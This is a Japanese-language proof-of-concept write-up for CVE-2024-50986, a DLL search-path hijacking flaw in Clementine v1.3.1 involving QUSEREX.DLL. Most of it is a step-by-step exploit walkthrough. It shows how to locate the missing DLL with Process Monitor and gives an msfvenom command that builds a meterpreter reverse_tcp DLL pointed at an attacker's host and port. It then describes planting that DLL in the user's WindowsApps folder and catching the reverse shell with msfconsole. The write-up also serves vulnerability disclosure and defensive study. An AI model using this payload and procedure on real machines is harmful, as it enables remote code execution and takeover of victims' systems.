CVE-2024-50986: Clementine 用 DLL ハイジャックエクスプロイト

説明: Clementine v.1.3.1 の問題により、ローカルの攻撃者が細工された DLL ファイルを介して任意のコードを実行できる可能性があります。

影響を受けるバージョン: Clementine v.1.3.1

研究者: Utkarsh (r1971d3) LinkedIn

NIST CVE リンク: https://nvd.nist.gov/vuln/detail/CVE-2024-50986

脆弱性タイプ: 信頼できない検索パス

影響を受けるコンポーネント: QUSEREX.DLL

概念実証エクスプロイト

攻撃ベクトル

この脆弱性を悪用するには、攻撃者は QUSEREX.DLL という名前の悪意のある DLL を作成し、ディレクトリ C:\Users<username>\AppData\Local\Microsoft\WindowsApps\ に配置する必要があります。Clementine アプリケーションが起動されると、悪意のある DLL が読み込まれ、攻撃者のコードが実行されます。

説明と使用方法

1. 適切なフィルターを設定した Process Monitor (procmon) を使用して、欠落している DLL を特定し、Windows オペレーティングシステム内で Clementine が DLL を検索している場所を追跡します。

2. 検索により、DLL "QUSEREX.DLL" が C:\Users<username>\AppData\Local\Microsoft\WindowsApps\ を含む複数の場所で検索されていることが明らかになります。

3. msfvenom を使用して、次のコマンドで悪意のある DLL を作成します。

sudo msfvenom -p windows/meterpreter/reverse_tcp -ax86 -f dll LHOST=<IP Address> LPORT=<Port> > QUSEREX.DLL

4. この悪意のある DLL はディレクトリ C:\Users<username>\AppData\Local\Microsoft\WindowsApps\ に配置され、Clementine によって正常に読み込まれます。

5. msfconsole を使用して、ステージドペイロードがリバースシェルを介して送信され、その結果、ターゲットマシンの C:\Program Files (x86)\Clementine\projectm-presets ディレクトリで meterpreter シェルセッションが取得されます。